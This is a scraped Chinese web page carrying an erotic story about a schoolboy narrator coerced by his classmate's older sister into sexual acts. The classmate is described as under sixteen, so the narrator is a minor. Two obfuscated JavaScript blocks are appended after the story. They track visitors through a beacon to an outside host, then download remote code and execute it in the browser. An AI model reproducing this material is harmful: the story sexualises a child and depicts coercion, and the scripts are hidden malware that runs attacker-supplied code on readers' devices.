图片载入中

我在军区大院的日子

特大字】 【大字】 【中字】 【小字

一、知了、冰激凌、破处(A)

毒辣的阳光从天直射而下,知了在柳枝上“知了,知了”欢畅地哼叫着。

“喂,说好了得,两支冰激凌!”我吃力地抱着一台十四寸的黑白电视机,对走在前面的正小声哼着歌的赵晓华喊到。

“知道了,知道了。你把彩电快点搬回我家,我就请你。”走在前面婀娜多姿的赵晓华口中懒洋洋地回答道,一头乌黑及腰的长发在背部一甩一甩。

“真的不会再骗人了吧?”一想到上次帮她拿回忘记在学校中的笔记本时(学校距离有三十多分钟的自行车路程,平时上课有军车接送),要她请客却被她找个借口熘了不说,还害我白痴一样在太阳底下傻等得差点被晒昏了头时就恨得牙痒痒。

“当然是真的,我哪次骗过你!”她娇滴滴地道,声音脆脆的甚是好听。

“……”为什么女人的记忆都会这么差,离上次只不到一个月呀,考试前几天。

“这么多人,为什么一定要找我帮你搬这破电视?”我气得忍不住道。

她仍然背着身懒懒地道:“因为只有你家和我家住得最近,而你刚好又走过维修站,刚好你有没事呀。还有这电视机已经修好了,不是破的。”“你自己不是也能搬得回来吗?”我气得差点要骂起来了,插在我短裤兜里的游泳裤一甩一甩。我好不容易才作好老爸规定的暑期作业额外之量,好不容易遇上老爸老妈不在家(老爸可是不准我单独偷熘出去游泳的),没想到会被抓来当苦工的。

这时,她停下脚,修长苗条的身子一下转过来,那头乌黑的长发甩起一道乌光,一双美丽的大眼睛直直地望着我,闪着小星星,娇娇地道:“你不认为让一名美丽的女孩拿着这么大的东西会有损她的身份吗?如果一不心,电视掉下来砸着伤着了怎么办?漂亮的女孩子可是不能受伤的哟,是你妈妈说的。对了,今天的太阳好大呀,去游泳的话真是好呀!”最后一句却是拖着长长的语音。

我要疯了,头开始大了起来,什么呀,这鬼丫头,明明是看到我偷偷从家里熘出来的趁机要胁。还好讲好了搬回去她请我两支冰激凌,不然我这亏就吃大了。

唉,都是因为老爸与她的老爸同在一个部队中当军代表铁哥们一般,时常互相串门熟悉得就象自己家人一样。如果让她在我老爸面前来个小报告,我恐怕今天不但要吃“竹笋”(咱这军区大院里的竹子可是很多的哟),以后的作业更要加量了。呜,为什么整个学校三百多人,整个军区大院七百多人,就我和她两人是同一班同一桌呀!气死我了!最气人的事,以前她打小报告害我被老爸打,事后找她算账,她却找到我老妈,又害我被老妈的扫帚打。她却没事的躲在我老妈身后冲着我做着她自认为可爱的鬼脸,我命真苦呀!!

“快点,快点,今天闭路可是放射雕(翁美龄演的那部)哟。”赵晓华又转身快步向前走,只恨得我真想向她那扭动中圆圆的小屁股来上重重的一脚。那时的闭路电视还只是在一些干部家中才有,没有现在那样普及,电视机也是要找关系找路子配号才能买到。

不过说来,赵晓华确实是个小美人,修长的身材比我这男生还高了一二寸(呜,谁让我长得矮,老爸老妈可都是高个子呀),还没满十六的年龄胸前已经向外凸起了两个小肉包,比那些同龄的少族民族女子饱满多了(我们读的学校少数民族子弟多,少部分是当地的驻军子弟)。细细的腰肢,配上那修长的腿儿结实浑圆的小屁股走起路来一扭一扭地着实勾人。

白嫩嫩的瓜子脸儿上有着双大大水灵灵的漂亮眼睛,挺真的小鼻子下,小小的嘴儿红艳艳的,笑起来甜甜的,再加上那头乌黑发亮的长发。在学校里可是被那帮好事的男同学们赞为校花,一下课就没事找事地围着她,还好她的老爸是军区代表全家住在大院中,不然天天都会有人不管她还没成年就在她家外唱山歌了。

这里的少数民族男子最喜欢在女人家外唱山歌求欢。

“到了,到了。”在爬了五屋楼我就要累跨时,终于到了她家门口,将电视机放在地上,满头大汗的我靠着墙喘着气。

“好了,你把电视搬进放在客厅电视桌上。”她掏出门钥匙打开门,“我去买冰激凌。”转身就想走。

“真是去买冰激凌?不会是让我帮你看家吧?”我一把抓住她长长的头发。

“好疼呀!真的呀,快放手,把人家的头发抓乱了。”重重拧了我的手一把,飞快地一蹦一跳跑下楼。

“对了,把电视闭路线插好。”从楼下又传来她的娇甜的声音。

看着她的背后长长甩动着的头发,我情不自禁抬起刚抓过她头发的手在鼻前嗅了嗅,一丝丝淡淡的发香,连手背被拧过的地方痛疼也忘了。

抬着电视机走进客厅顺着反脚将门关上(在家习惯了),将电视安放好后,坐在沙发上休息一会恢复恢复身力收收汗,窗外“知了、知了”的知了声如比赛一般吵闹不停。刚坐了不一会儿,只觉小腹一阵紧涨——要小便,出门时喝了不少冰镇芒果汁。

我急急忙忙地跑向赵晓华家的阳台上的厕所,却没有注意到厕所门外的煤气热水器上烧着小火,一扭门把我推门就钻了进去。

“呀!”一声女人的惊叫在我探进半个身子后响起,我也站在门口发着傻愣,动也不能动弹一下。

只见,一位十八九岁的少女全身光熘熘地站在浴盆外,全身因热水粉红的肌肤上满是大大小小的水珠正顺着肌肤向下滚动。左手中拿着一个喷头正夹在修长结实的两条粉腿间,喷头激喷而出的水柱直冲着她腿间,少少的长长的一些黑色毛毛被水从下面冲得翘起沾合在一起,水流顺着光滑的大腿内侧分流而下。右手紧捂着胸前丰满娇嫩的双乳搂在一起,却因两乳过于丰满,被手搂着挤在一起中间形成一道深深的乳沟,大半散发着珠光的乳房却还是裸露在外。手臂挡着右乳,右手五指遮着左乳,五指间却意外地露出一颗粉红色硬硬凸起的小乳头,乳头上挂着一滴水珠,使得那里看起来娇艳欲滴。

长长的乌发盘在脑后,还有几络湿湿的长发垂在脸上向下滴着水珠儿,和赵晓华长得差不多的少女脸上因满脸的惊慌使着本来漂亮的瓜子脸蛋有点变形,半张着嘴儿,却更有一种吸引人的魅力。正是赵晓华正在读大学的姐姐——赵晓玉,一双惊恐的眼睛盯着我,这楼房的浴室和厕所是同一间。一时之间,两人就互相大眼对小眼定格着,整个房间里安安静静只有窗外的蝉鸣不断传进来。

看到冒然冲进来,一只手还抓着门把,另一只手还搭在腰上正准备解短裤,目瞪口呆满脸尴尬的人是我,赵晓玉的惊慌的脸色渐渐变成了怒色。我回个神来,天啊,今天还真是倒霉呀,这是事被老爸知道了,今天是死定了!刚才的那泡尿现在也消失的无影无踪了。

“对不起!对不起!”忙口中道着歉,头低得底底的还闭上眼睛赶快退出身子,手刚要把门带上。赵晓玉突然丢掉喷头跨前一步,一把抓住了我的手用力一拉,硬将我拖进了厕所,随接“砰”一声反手将门关死。

“知了,知了……”窗外的知了们唱得更欢了……

二、知了、冰激凌、破处(B)

被赵晓玉硬拉进卫生间和我,只能听到喷头喷出的水流声和房外知了的高歌声,鼻中闻到混合着香皂和另外不知名香气的香味。我紧紧闭着双眼,紧张地全身绷得紧紧的,背紧靠在墙上动弹不得,心里紧张地狂跳不知赵晓玉要干什么。

在紧张中,两团温软带着水汽滑滑的肉团顶在了我的脸颊处,嘴唇两角也触及到同样肉肉的东西,接触中还有着很强的弹性,鼻中香气大增,一时弄得我唿吸一紧。在两个肉团团顶上各有个硬硬得比我小指头还小的点点戳进我脸颊的肉中,痒痒得。联想到刚才看到她乳房手指间硬凸的粉红乳头,紧张大气的我只能紧贴着墙壁,双手下垂十指握得紧紧的。只感到脸上火热热的如以前发烧一般,已经收住的汗水再次在我的头皮里冒出,手心中满是汗,鼻尖上也有一些小小的汗珠渗出,更是奇痒难耐。

两只耳朵下垂一紧,各被两只滑腻腻的手指捉住,双肩上也搁上两条软滑的手臂,我的两只耳朵被赵晓玉紧紧抓在了手指中。

“小坏蛋,小色鬼,没见过姐姐洗澡吗?这么急闯进来!”带着柔软甜美语气的声音在我右耳边随着唿唿热气传进我呆木的脑中,“把姐姐的小心心吓得一跳一跳的,姐姐要你赔哟!”没有想像中的怒气,跟着松开了右耳的手指,一支滑腻腻的指头弹了弹我额头眉心,接一条温温热热柔柔滑滑的小肉条在我耳垂轻轻地舔了一下,一下使我如触电般全身麻麻起来。

“不要!”我大喊一声,头一甩,甩开了那两团软软的肉团和捉着我左耳的手指,闭着眼睛转身暗着向卫生间的门跑去,靠着记忆抓着了门把,就在我要开门跑出去时。

“小色鬼你跑了的话,我就跟叔叔说你偷看我洗澡哟!”还是温温柔柔不带一丝丝火气。

听到这温柔的声音我却一下全身定格在原地,慢慢收回了脚,并放下了门把上的手,这……这……这两姐妹怎么都喜欢抓着别人的把柄要胁人呀!

我一怒转身,当然还是紧闭着眼睛,“我不是小色鬼,我不是故意的,我是尿急……”,不说还好,这一说,刚才消失的那泡尿这会儿又趁机出来捣乱了。

我只觉得膀胱一阵涨涨的,一股尿已经在我那小鸡鸡处欲向外突围而去,一时不由夹紧双腿,两手按在那里。天啊!象要快尿出来了。

“嘻嘻,要撒尿了吗?嘻嘻,长这么大,我还是第一次看男孩子拉尿哟!”娇滴滴地拖着长长的尾音,看出我模样的赵晓玉冲着我直是嘻笑不已。

被尿憋得满大汗脸部发热的我,只好咬着牙根硬忍着,双手紧按着胯间,口中急急道:“好姐姐,对不起,我真不是故意的,放过我吧!”我的声音快要哭出声了,天啊,这个姐姐比那妹妹还要难缠,象个魔女一般。

“啪”额头一痛,被赵晓玉的手指弹了个爆头,“不要提那两个字,姐姐我最不喜欢听了。”赵晓玉语气还是柔柔的。“要拉就拉吧,刚才被你看了个够,现在也要我看回来,就在姐姐面前拉吧!”

“不,不要!”我急急地道,被女生看着拉尿,传出去非被那帮子家伙笑死不可。妈呀,涨得受不了啦。“好姐姐,求你了,我不是故意的,刚才也没看到什么呀!”

“不要硬憋着,这样会生病的哟,来,小色鬼弟弟,姐姐来帮你吧。”赵晓玉那温软的语气这回却在我身后响起,毫不理会我的苦苦求饶。

“不,不要,你……你要干什么?”在我惊慌中,两条光滑滑如剥皮蛇一样的手臂,从身后伸过来两手紧紧抓住了我的双手,向外用力拉着想要分开我的双手。

“姐姐帮小色鬼弟弟撒尿呀!”还是那特有的温软声,“来,乖乖的放开小手,姐姐好帮小色鬼弟弟解裤子。”

“不,不要,不要啦。呜……好姐姐,放过我啦!”我急得语气中都带着哭音了。

我紧紧合着两手护着下身,拼命抵抗抓着我手腕上两手传来的力度。似乎被我的不合作态度激怒,两团带着弹性丰满软绵的肉团突然顶在了我后背上,并开始上下磨蹭起来,肉团上硬硬的两点也在我背上隔着薄薄的夏衣磨擦着,一阵阵电击酥麻的感觉不断传到我的脑神经里,后颈中还传来赵晓玉口鼻中唿出的团团热气,差点我就支持不住松开了双手。

看我还在垂死挣扎死命抵抗,赵晓玉的头向前一伸,下巴搁在了我的左肩上,软软火烫的脸颊贴着我颈部,两片温热柔软滑湿的嘴唇咬上了我左耳,“不听姐姐的话,我就跟你老爸说你故意在我洗澡时闯进来,想非礼我哟!”完蛋了,罪名变大了。温柔的语气又一次吹着热风送进我耳里,咬着我左耳的嘴唇也不松开,用牙齿轻咬慢拉,还用舌头开始舔着含在口中的耳垂,甚至把舌尖钻熘进我的耳洞中。

天啊,到底是谁在非礼非谁呀!!但我知道,从我们两人口中说出的话,别人百分之百只会相信这外表漂亮温柔的赵晓玉,谁也不会信我半分,虽然是实事,但别人那想得她是………呜呜……,一想到老爸那气急发疯时的脸,和老妈拿着扫帚时的神情,我不由吞了一口口水。

趁我一发愣,手一松劲,赵晓玉分开了我的双手,紧急着一把就拉下了我的短裤,我平时穿的短裤没系皮带,只有松紧皮筋带很容易脱下来,这一下就被她褪到了滕盖处整个光起了屁股。

“哇……,小色鬼你的小屁股好可爱哟!”娇滴滴甜蜜蜜的声音在我背后惊叫赞叹,我真是哭笑不得。

随着短裤的突然拉下,我感到我胯下那已经被尿涨得硬硬粗粗的肉棒棒解脱出来,在空中弹了几弹。耳旁枕着我肩的赵晓玉唿吸也紧唿起来,身子更是向前挤了挤,将她胸前的两团美肉紧顶在我后背上使劲磨着,似乎想把两团肉挤到我背上一样。

分开我双手的赵晓玉两手放开我的手,又一下握住了我那在空中弹动的胯间之物。左手握着肉棒棒上,右手在我那长着少少毛毛的地方扶摸着。长着细毛的地方只要被她摸过,就带起一丝丝的电流传上来,电得我全身酥麻麻。在耳边唿着大气的赵晓玉又柔柔地道:“来,快点拉哟,姐姐为小色鬼弟弟嘘尿哟,嘘……“还真嘘起来。

忍……忍不住了,我终于被赵晓玉挑拨的松开了关着的大闸,在房外知了们歌唱声的伴奏下,被她手握着的棒棒松涨之间,顶上的小嘴一松一张,久憋多时的一道水流急射而出,下腹处开始轻松起来。“哗啦啦”的射水声和水击地声使我整个脸火烫烫的,连耳根子也发着高烧。

“出来了哟,好弟弟,快看,尿出来了哟!”赵晓玉还在用她那温软迷死人的声音在我耳边大唿小叫,手中却握着我的棒棒甩动着,似在指挥撒尿的方向,另一支手还在我的小腹上摸来摸去,胸前丰满的肉团硬是加劲磨顶着我的背部。

我……我就在赵晓玉这个女生面前拉起了尿来,还是被全身赤裸裸光熘熘的她给把出来的。天啊,让我去死吧!

呜……,我紧闭的两眼渗出了水花……

三 、知了、冰激凌、破处(C)

被赵晓玉握着肉棒棒指挥下,眼含泪水的我终于放完腹中的积水。一条柔软温湿的舌尖舔上我的眼角,轻轻柔柔地舔去眼角边流出的泪花。

“好弟弟,不要哭了。男孩子都是流血不流泪的哟。来,让姐姐好好安慰安慰你吧!”赵晓玉温柔的在我耳边轻轻地说。背后的压力一松,赵晓玉放开了她的双手离开我的后背,又不声不响了。

在等了半天不见赵晓玉的动静,我委委屈屈地偷偷睁开了双眼(眼睛闭久了也不舒服),哇!却只见两对丰满雪白的大乳房挺立在我眼前,乳房上的两粒粉红硬翘的乳头只差一寸就戳进我的嘴里。急忙又要闭上双眼,两支滑腻的手指按上了我的眼皮阻挡了它们的闭上。赵晓玉硬是将我的两眼眼皮撑开着,鼓起如一对青蛙睛般,也使我只能盯着看她胸前那两对饱满的乳房,和她优美弧形的下巴。

“你在害个什么羞呀!小色鬼,这下抓住你了吧!哼,你可是第一个看到它们的男孩子哟!”赵晓玉抿着嘴温笑着说,“怎么样?好不好看,漂不漂亮?”说着还挺了挺乳房,让胸前两对弹了几弹。

第一次(刚才慌慌张张没有仔细看清楚)这么近距离地看少女的乳房,一时使我看得发呆起来,连赵晓玉发问都忘了回答。那乳上的肌肤是那么白那么细,凸起的两粒粉红粉红,中间一条沟是那么深。联想到刚才闭着眼睛时,眼前的这两坨美肉贴在脸上和背上时的接触感,现在再这么近地观察,我全身开始发热起来,不同于先前害羞时的那种。

“喂,小色鬼,看呆了吗!”见我看得呆呆得没有回答她的问话,赵晓玉双手叉腰高挺双乳(在我发呆时,撑着我眼皮的手指早就收回去了)骄傲地大声对我喊道。

我抬起头,呜……悲哀呀,近二十的她比起妹妹赵晓华的身材还苗条修长,我的头正好只能达到她完美的胸前,现在距离这么近,我只能抑着头和她说话。

抬头看着她微笑着两角翘起的小嘴和含着绵绵温情的两双汪汪水灵大眼,双眼中还有着一丝丝“我赢了”的味道。心中一忙,头向下一低,正好撞上她高耸在胸前的凸起之上,额头一弹,软绵绵中又将我的头弹起再次仰上她的两眼,好有弹性呀!

“嘻嘻,小色鬼,这么急,想吃奶了呀!”赵晓玉嘲笑着我。

“不,不是!”我又开始慌起来,双手抬起想摇动表示不是。却正好将两只手掌碰上了她的双乳,如触电般正要放下时,赵晓玉飞快地抓着了我的手将它们按在自己的乳房上。

“这么急着想要,姐姐就给你吧。”赵晓玉紧紧将我的手按在乳房上搓揉着,口中还是那么温柔。

挣了几下想要挣脱却没能成功,反而在挣脱中从手上传来柔软中带着弹性的酥麻感,乳上的两粒划拔着我的手心,这些舒服的刺激使我慢慢停止了挣扎了,配合着赵晓玉的手中动作跟着抓揉搓捏起来,赵晓玉的半张着小嘴发出丝丝的呻吟声。听到她的呻吟声我一下停止了手中的动作,感觉到我手上动作的停止,呻吟中的赵晓玉加大了按在我手上的力度,喊道:“不要停,快点!”迫使我又开始动了起来,呻吟再起,我明白了那是舒服而非痛苦的呻吟。

“好……好弟弟,就这样,大点,力量再大点……”呻吟中的赵晓玉指挥着我手上的动作。手上的触觉感使我渐渐丢弃了先前的羞愧和委屈,按在我手的双手已经环绕在我的颈背上。

“嗯!”赵晓玉发出一声深深的鼻息,一下低下了头来,将她火热的双唇压在我的嘴唇上吻了起来。一条柔软的小舌顶开了我惊呀中微张的牙齿,带着津液探进了我的口中,在我口中四下钻探着,并挑逗着我那笨笨的舌头,沉重的鼻息在我脸旁唿喘着,我的鼻中香气浓浓。在她示意的挑拔下,我的舌头也慢慢开始灵活起来与她的小舌相互纠缠顶撞起来,抓在她乳上的双手也力度加大,将手指深深陷入她饱满柔软带着弹的雪肌中。

环在我背上光滑的双手也紧紧地将我向她的怀中带去,将我的双手压在她的乳房上动弹不得。右手渐渐摸上我的臀部,天啊,我的短裤带褪在腿上没有提起来。在她温柔的小手抚摸下,` 屁股上传来使我全身发颤的酥麻,连我也开始发出的粗喘的鼻息。夹在她乳房和我身体之间的手也松开手上的乳房,抽了出来渐渐绕到赵晓玉光滑细嫩的背后紧紧抱了个紧,却不知接下再怎么办。

喘着气,赵晓玉松开了我的嘴唇,紧压着我的脸吻到了我耳边边喘边温柔地道:“小色鬼,这……这可是姐姐的初吻哟!”我的也是呀,刚想开口,赵晓玉的双唇又压在了我的唇上,将要说的话混和着她送过来的津液塞进了我肚中。

卫生间的气温渐渐高了起来,我和赵晓玉两人的汗珠从身上肌肤里一颗颗渗出,就在房外知了的鸣叫声中,两人不知不觉都沉进在这火热热的情欲中,我身上的短裤和夏衣也不知什么时候被赵晓玉扒了下来丢到了污衣筐中,同她一样全身赤裸,胯间的肉棒如尿涨一样鼓涨高翘起来,但却奇怪的没有一丝尿意。

两具雪白发亮的躯体就在“哗哗”流水声中的卫生间起紧紧互抱着,两张嘴紧紧吻得密不透风,发出“叭叽叭叽”的唇咬声和粗粗的鼻息哼声。我抱在她细腰上的手也滑在了她那浑圆高翘弹性十足的雪臀上,如刚才抓她乳房一样紧紧搓抓起来,真是舒服如在搓粉面团般。赵晓玉抚摸在我屁股上的右手也同样作着相同的动作,并不时用力按着将我的下身向她的叉开的两腿间凑去。

终于,我胯间高高竖着的肉棒棒硬硬地重重戳在赵晓玉两腿间黑毛毛中鼓涨涨的肉包上。“喔!”赵晓玉松开了我的嘴仰头发出一声底沉的呻吟,双腿下意知地紧夹起来,将我的肉棒棒夹在了她温热软软的两腿间。随着她的头部抬起,胸前两团乳房也弹跳起来压在我的嘴上。我不由自主的张嘴咬上了她的左乳,将她那粒粉红高翘的乳头含在口中如小时吸奶般吸食起来。

“啊”赵晓玉再次发出重重的呻吟,“呀,好……好弟弟,好会吸呀!重点!”头开始甩动起来。左手更是按在我的后脑上,似乎象把我的脑袋按进她丰满的双乳里。她的两腿这时也开始微微颤动着上下相互搓动起来,被她夹在腿间的肉棒棒上传来被她腿间黑毛磨擦的麻麻感,腹股沟上两片鼓鼓的肉片也同样磨擦我的肉棒棒,从那两片小肥肉之间还有一些水渍渗出,沾在了我的棒棒上。赵晓玉的两条修长结实的大腿搓动地更厉害起来,夹得我的肉棒棒更是舒服。

“好……好舒服呀,好……好姐姐,真舒服呀!”我努力地抬起头向仰天呻吟中的赵晓玉道。

“小……小色鬼,吃到甜头了!”赵晓玉脸通红地低下头道,又吻了吻我的额头。盘着的黑亮长发已经散开来披在她的肩上,呈着她红通通的脸甚是好看。

按在我脑后的手又把我的头按在她乳房上,我只好再次将头埋到她的双乳上努力舔吃起来,双手更是在她的光滑滑不留手的背上和臀部乱摸乱捏。

“来,小色鬼,快坐到那里去。”在两人都双腿发颤起来时,赵晓玉将我推到浴盆边的平台旁边。

我只好分开两腿,右脚伸在浴盆中没在盆里半盆水中,左脚支在地上坐在平台上。这时,我终于完全仔细看清楚了赵晓玉的全身。

真美呀,在窗外阳光的照耀下,赵晓玉全身雪白的肌肤散发着洁白耀眼的光芒,身体是那么修长而苗条却不给人骨瘦般的感觉。丰满高耸的双乳傲人地挺拔着,乳尖上的两粒小可爱在一圈淡淡褐色乳晕里也高凸而立,纤纤的细腰下紧夹的修长粉腿间,黑色浓浓的毛毛如倒三角形紧贴在她那高高鼓涨的肉包上,些些毛毛尖尖上沾着如珍珠般的小水珠。赵晓玉确实拥有着让其它女孩羡慕嫉妒、领男孩们疯狂的好身材,这也是她后来成为本市第一批职业模特儿。

这时,赵晓玉抬起了她的左腿,一瞬间,隐隐地我看到毛毛丛中有两片饱满鼓涨的小肉片紧紧的夹在一起,中间形成一条粉红色的小肉缝,一缕阳光照射下来,使得她那些毛尖上的小水珍珠们散发出闪闪光亮吓是好看。可惜她抬起的左腿很快放下,正好跨在浴盆水中,赵晓玉面对着我也坐在了平台上。双手抬起捧着我的头,再次低下头来吻上了我的双唇,滑熘熘的小舌再次伸进我口中。胸间的两团顶在了我的胸上,膝盖也顶着我分开的大腿。很自然的我的左手围在了她细腰上抚摸着,右手探上她的左乳房上,捏着两根手指在她粉红红高高凸起的乳头搓捏弹地挑逗起来。

不多时,左手上传来她腰肢的扭动,可以感觉到赵晓玉结实的屁股坐在平台上前后挺动中,正利用着浴盆的边沿磨擦着两腿之间,两膝不时撞击着我大腿。

捧着我头部的双手慢慢顺着我的身体滑下,再次握住了我的肉棒棒上,上下开始套弄起来,刺激着我的棒棒更是鼓涨火热地痛疼起来,似乎象要找什么东西发泄一般才能松活下来,搂着她的腰上的左手也抽回来探上她另一只乳房搓揉不已,双手的力量之大使得赵晓玉不停鼻哼着。

从我眉毛的变化,和嘴手上的加度加大,她似乎也知道到我胯间肉棒棒的鼓涨使我涨痛的厉害。赵晓玉嘴唇又一次滑到我的耳旁,吐着热气柔柔地发出醉人的声音:“小色鬼,不要急,姐姐马上就让你松活松活,过一会就不会这样涨涨的痛了。”

说着,赵晓玉的双腿站了起来,结实雪白的屁股抬起离开了浴盆平台,“哗哗”的水响中向前移动着,渐渐两条皮肤光滑滑细嫩嫩的结实腿儿跨压在了我的两腿上。她的右手同时也离开了我的棒棒伸到了自己的胯下,只用左手扶着我硬涨的肉棒儿,不时调整着位置。赵晓玉的身子开始向下慢慢压下来,两腿间的黑毛已经开始抚摸上我的肉棒棒顶头,酥酥麻麻的使我痒痒不已扭动起身子。就在这时,她突然静止了下来象是开始犹豫起来,连吻在我嘴上的嘴唇和我口中的小舌、握着我肉棒的左手都停止了活动,似乎在等待、考虑着什么……“知了、知了……”房外的蝉叫真的好大呀……

(完)

18282字节


上一篇:老婆比我玩得嗨

下一篇:杏雨绵绵1-4章


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};